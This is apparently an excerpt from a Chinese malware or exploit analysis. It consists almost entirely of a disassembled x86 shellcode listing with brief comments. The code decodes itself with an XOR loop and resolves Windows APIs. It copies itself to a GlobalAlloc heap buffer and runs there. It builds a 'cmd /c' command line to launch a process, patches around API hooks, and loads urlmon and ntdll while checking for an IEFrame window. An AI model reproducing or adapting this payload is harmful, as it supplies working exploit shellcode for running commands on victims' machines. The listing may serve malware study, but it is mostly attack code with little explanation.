对应的汇编代码如下
0A0FF9FB 58 pop eax
0A0FF9FC 58 pop eax
0A0FF9FD 33DB xor ebx, ebx
0A0FF9FF B3 1C mov bl, 1C
0A0FFA01 03C3 add eax, ebx
0A0FFA03 31C9 xor ecx, ecx
0A0FFA05 66:81E9 65FA sub cx, 0FA65
0A0FFA0A 8030 21 xor byte ptr [eax], 21
0A0FFA0D 40 inc eax
0A0FFA0E ^ E2 FA loopd short 0A0FFA0A
0A0FFA10 E8 36030000 call 0A0FFD4B //解析API
0A0FFA15 68 00200000 push 2000
0A0FFA1A 6A 00 push 0
0A0FFA1C FFD0 call eax //GlobalAlloc
0A0FFA1E B9 00100000 mov ecx, 1000
0A0FFA23 8BF8 mov edi, eax
0A0FFA25 EB 05 jmp short 0A0FFA2C
0A0FFA27 5E pop esi
0A0FFA28 F3:A4 rep movs byte ptr es:[edi], byte ptr> //把shellcode拷到全局堆中
0A0FFA2A FFD0 call eax //执行全局堆中的shellcode
0A0FFA2C E8 F6FFFFFF call 0A0FFA27
0A0FFA31 E8 3D030000 call 0A0FFD73
0A0FFA36 8BF8 mov edi, eax
0A0FFA38 E8 38000000 call 0A0FFA75
0A0FFA3D E8 4D010000 call 0A0FFB8F
0A0FFA42 E8 46000000 call 0A0FFA8D
0A0FFA47 E8 DB030000 call 0A0FFE27
0A0FFA4C 8BF8 mov edi, eax
0A0FFA4E E8 22000000 call 0A0FFA75
0A0FFA53 E8 44010000 call 0A0FFB9C
0A0FFA58 E8 30000000 call 0A0FFA8D
0A0FFA5D E8 89030000 call 0A0FFDEB
0A0FFA62 8BF8 mov edi, eax
0A0FFA64 E8 0C000000 call 0A0FFA75
0A0FFA69 E8 61010000 call 0A0FFBCF
0A0FFA6E E8 1A000000 call 0A0FFA8D
0A0FFA73 EB 58 jmp short 0A0FFACD
0A0FFA75 53 push ebx
0A0FFA76 8BDC mov ebx, esp
0A0FFA78 53 push ebx
0A0FFA79 6A 40 push 40
0A0FFA7B 68 00100000 push 1000
0A0FFA80 57 push edi
0A0FFA81 E8 B1020000 call 0A0FFD37
0A0FFA86 E8 E5000000 call 0A0FFB70
0A0FFA8B 58 pop eax
0A0FFA8C C3 retn
0A0FFA8D 53 push ebx
0A0FFA8E 8BDC mov ebx, esp
0A0FFA90 53 push ebx
0A0FFA91 6A 20 push 20
0A0FFA93 68 00100000 push 1000
0A0FFA98 57 push edi
0A0FFA99 E8 99020000 call 0A0FFD37
0A0FFA9E E8 CD000000 call 0A0FFB70
0A0FFAA3 58 pop eax
0A0FFAA4 C3 retn
0A0FFAA5 57 push edi
0A0FFAA6 E8 3C040000 call 0A0FFEE7
0A0FFAAB 8BF8 mov edi, eax
0A0FFAAD 33C9 xor ecx, ecx
0A0FFAAF 49 dec ecx
0A0FFAB0 33C0 xor eax, eax
0A0FFAB2 B0 C3 mov al, 0C3
0A0FFAB4 FC cld
0A0FFAB5 F2:AE repne scas byte ptr es:[edi]
0A0FFAB7 8D47 FF lea eax, dword ptr [edi-1]
0A0FFABA 5F pop edi
0A0FFABB C3 retn
0A0FFABC 5B pop ebx
0A0FFABD 3E:C607 B8 mov byte ptr [edi], 0B8
0A0FFAC1 3E:895F 01 mov dword ptr [edi+1], ebx
0A0FFAC5 66:3E:C747 05 F>mov word ptr [edi+5], 0E0FF
0A0FFACC C3 retn
0A0FFACD E9 95040000 jmp 0A0FFF67
0A0FFAD2 5B pop ebx
0A0FFAD3 81EC 14010000 sub esp, 114
0A0FFAD9 8BD4 mov edx, esp
0A0FFADB 3E:C702 636D642>mov dword ptr [edx], 20646D63
0A0FFAE2 3E:C742 04 2F63>mov dword ptr [edx+4], 2220632F
0A0FFAEA 83C2 08 add edx, 8
0A0FFAED 33C0 xor eax, eax
0A0FFAEF 50 push eax
0A0FFAF0 50 push eax
0A0FFAF1 68 04010000 push 104
0A0FFAF6 52 push edx
0A0FFAF7 53 push ebx
0A0FFAF8 50 push eax
0A0FFAF9 E8 C1030000 call 0A0FFEBF
0A0FFAFE FFD0 call eax
0A0FFB00 8BFC mov edi, esp
0A0FFB02 8BC7 mov eax, edi
0A0FFB04 83C0 08 add eax, 8
0A0FFB07 3E:8A18 mov bl, byte ptr [eax]
0A0FFB0A 84DB test bl, bl
0A0FFB0C 74 03 je short 0A0FFB11
0A0FFB0E 40 inc eax
0A0FFB0F ^ EB F6 jmp short 0A0FFB07
0A0FFB11 3E:C600 22 mov byte ptr [eax], 22
0A0FFB15 33D2 xor edx, edx
0A0FFB17 3E:8850 01 mov byte ptr [eax+1], dl
0A0FFB1B 83EC 54 sub esp, 54
0A0FFB1E 33C0 xor eax, eax
0A0FFB20 33DB xor ebx, ebx
0A0FFB22 8BCC mov ecx, esp
0A0FFB24 83F8 54 cmp eax, 54
0A0FFB27 7D 09 jge short 0A0FFB32
0A0FFB29 3E:891C01 mov dword ptr [ecx+eax], ebx
0A0FFB2D 83C0 04 add eax, 4
0A0FFB30 ^ EB F2 jmp short 0A0FFB24
0A0FFB32 8BCC mov ecx, esp
0A0FFB34 8BD9 mov ebx, ecx
0A0FFB36 83C3 10 add ebx, 10
0A0FFB39 33C0 xor eax, eax
0A0FFB3B 3E:C743 2C 0100>mov dword ptr [ebx+2C], 1
0A0FFB43 51 push ecx
0A0FFB44 53 push ebx
0A0FFB45 50 push eax
0A0FFB46 50 push eax
0A0FFB47 50 push eax
0A0FFB48 50 push eax
0A0FFB49 50 push eax
0A0FFB4A 50 push eax
0A0FFB4B 57 push edi
0A0FFB4C 50 push eax
0A0FFB4D E8 39030000 call 0A0FFE8B
0A0FFB52 E8 19000000 call 0A0FFB70
0A0FFB57 64:A1 04000000 mov eax, dword ptr fs:[4]
0A0FFB5D 8DA0 60FFFFFF lea esp, dword ptr [eax-A0]
0A0FFB63 E8 37030000 call 0A0FFE9F
0A0FFB68 33DB xor ebx, ebx
0A0FFB6A 53 push ebx
0A0FFB6B 53 push ebx
0A0FFB6C 53 push ebx
0A0FFB6D 53 push ebx
0A0FFB6E FFD0 call eax
0A0FFB70 8038 E8 cmp byte ptr [eax], 0E8
0A0FFB73 8038 E9 cmp byte ptr [eax], 0E9
0A0FFB76 75 0F jnz short 0A0FFB87
0A0FFB78 8178 05 9090909>cmp dword ptr [eax+5], 90909090
0A0FFB7F 74 06 je short 0A0FFB87
0A0FFB81 55 push ebp
0A0FFB82 8BEC mov ebp, esp
0A0FFB84 8D40 05 lea eax, dword ptr [eax+5]
0A0FFB87 FFE0 jmp eax
0A0FFB89 E8 2EFFFFFF call 0A0FFABC
0A0FFB8E C3 retn
0A0FFB8F E8 28FFFFFF call 0A0FFABC
0A0FFB94 B8 11010480 mov eax, 80040111
0A0FFB99 C2 0C00 retn 0C
0A0FFB9C E8 1BFFFFFF call 0A0FFABC
0A0FFBA1 33C0 xor eax, eax
0A0FFBA3 50 push eax
0A0FFBA4 54 push esp
0A0FFBA5 E8 54000000 call 0A0FFBFE
0A0FFBAA 50 push eax
0A0FFBAB E8 8B020000 call 0A0FFE3B
0A0FFBB0 FFD0 call eax
0A0FFBB2 36:803C24 00 cmp byte ptr [esp], 0
0A0FFBB7 77 0A ja short 0A0FFBC3
0A0FFBB9 E8 41020000 call 0A0FFDFF
0A0FFBBE 33FF xor edi, edi
0A0FFBC0 57 push edi
0A0FFBC1 FFD0 call eax
0A0FFBC3 E8 FB010000 call 0A0FFDC3
0A0FFBC8 68 FF000000 push 0FF
0A0FFBCD FFD0 call eax
0A0FFBCF E8 E8FEFFFF call 0A0FFABC
0A0FFBD4 53 push ebx
0A0FFBD5 57 push edi
0A0FFBD6 56 push esi
0A0FFBD7 33C0 xor eax, eax
0A0FFBD9 50 push eax
0A0FFBDA 54 push esp
0A0FFBDB E8 1E000000 call 0A0FFBFE
0A0FFBE0 50 push eax
0A0FFBE1 E8 55020000 call 0A0FFE3B
0A0FFBE6 FFD0 call eax
0A0FFBE8 36:803C24 00 cmp byte ptr [esp], 0
0A0FFBED 77 0A ja short 0A0FFBF9
0A0FFBEF E8 0B020000 call 0A0FFDFF
0A0FFBF4 33FF xor edi, edi
0A0FFBF6 57 push edi
0A0FFBF7 FFD0 call eax
0A0FFBF9 58 pop eax
0A0FFBFA 5E pop esi
0A0FFBFB 5F pop edi
0A0FFBFC 5B pop ebx
0A0FFBFD C3 retn
0A0FFBFE EB 02 jmp short 0A0FFC02
0A0FFC00 58 pop eax
0A0FFC01 C3 retn
0A0FFC02 E8 F9FFFFFF call 0A0FFC00
0A0FFC07 56 push esi
0A0FFC08 57 push edi
0A0FFC09 83EC 08 sub esp, 8
0A0FFC0C 8BFC mov edi, esp
0A0FFC0E 6A 08 push 8
0A0FFC10 57 push edi
0A0FFC11 3E:FF77 14 push dword ptr [edi+14]
0A0FFC15 E8 5D020000 call 0A0FFE77
0A0FFC1A FFD0 call eax
0A0FFC1C 8BFC mov edi, esp
0A0FFC1E 68 616D6500 push 656D61
0A0FFC23 68 49454672 push 72464549
0A0FFC28 8BF4 mov esi, esp
0A0FFC2A B9 08000000 mov ecx, 8
0A0FFC2F F3:A6 repe cmps byte ptr es:[edi], byte ptr>
0A0FFC31 75 2F jnz short 0A0FFC62
0A0FFC33 6A 00 push 0
0A0FFC35 3E:FF7424 20 push dword ptr ds:[esp+20]
0A0FFC3A E8 24020000 call 0A0FFE63
0A0FFC3F FFD0 call eax
0A0FFC41 8BF8 mov edi, eax
0A0FFC43 E8 CB010000 call 0A0FFE13
0A0FFC48 FFD0 call eax
0A0FFC4A 3BF8 cmp edi, eax
0A0FFC4C 74 08 je short 0A0FFC56
0A0FFC4E 36:8B4424 20 mov eax, dword ptr [esp+20]
0A0FFC53 3E:FF00 inc dword ptr [eax]
0A0FFC56 3E:FF7424 1C push dword ptr ds:[esp+1C]
0A0FFC5B E8 EF010000 call 0A0FFE4F
0A0FFC60 FFD0 call eax
0A0FFC62 83C4 10 add esp, 10
0A0FFC65 5F pop edi
0A0FFC66 5E pop esi
0A0FFC67 B8 01000000 mov eax, 1
0A0FFC6C C3 retn
0A0FFC6D 68 6F6E0000 push 6E6F
0A0FFC72 68 75726C6D push 6D6C7275
0A0FFC77 EB 15 jmp short 0A0FFC8E
0A0FFC79 8D4424 04 lea eax, dword ptr [esp+4]
0A0FFC7D 50 push eax
0A0FFC7E E8 22FEFFFF call 0A0FFAA5
0A0FFC83 50 push eax
0A0FFC84 E8 4A020000 call 0A0FFED3
0A0FFC89 ^ E9 E2FEFFFF jmp 0A0FFB70
0A0FFC8E E8 E6FFFFFF call 0A0FFC79
0A0FFC93 83C4 08 add esp, 8
0A0FFC96 C3 retn
0A0FFC97 6A 6C push 6C
0A0FFC99 68 6E74646C push 6C64746E
0A0FFC9E EB 15 jmp short 0A0FFCB5
0A0FFCA0 8D4424 04 lea eax, dword ptr [esp+4]
0A0FFCA4 50 push eax
0A0FFCA5 E8 FBFDFFFF call 0A0FFAA5
0A0FFCAA 50 push eax
0A0FFCAB E8 23020000 call 0A0FFED3
0A0FFCB0 ^ E9 BBFEFFFF jmp 0A0FFB70
0A0FFCB5 E8 E6FFFFFF call 0A0FFCA0
0A0FFCBA 83C4 08 add esp, 8
0A0FFCBD C3 retn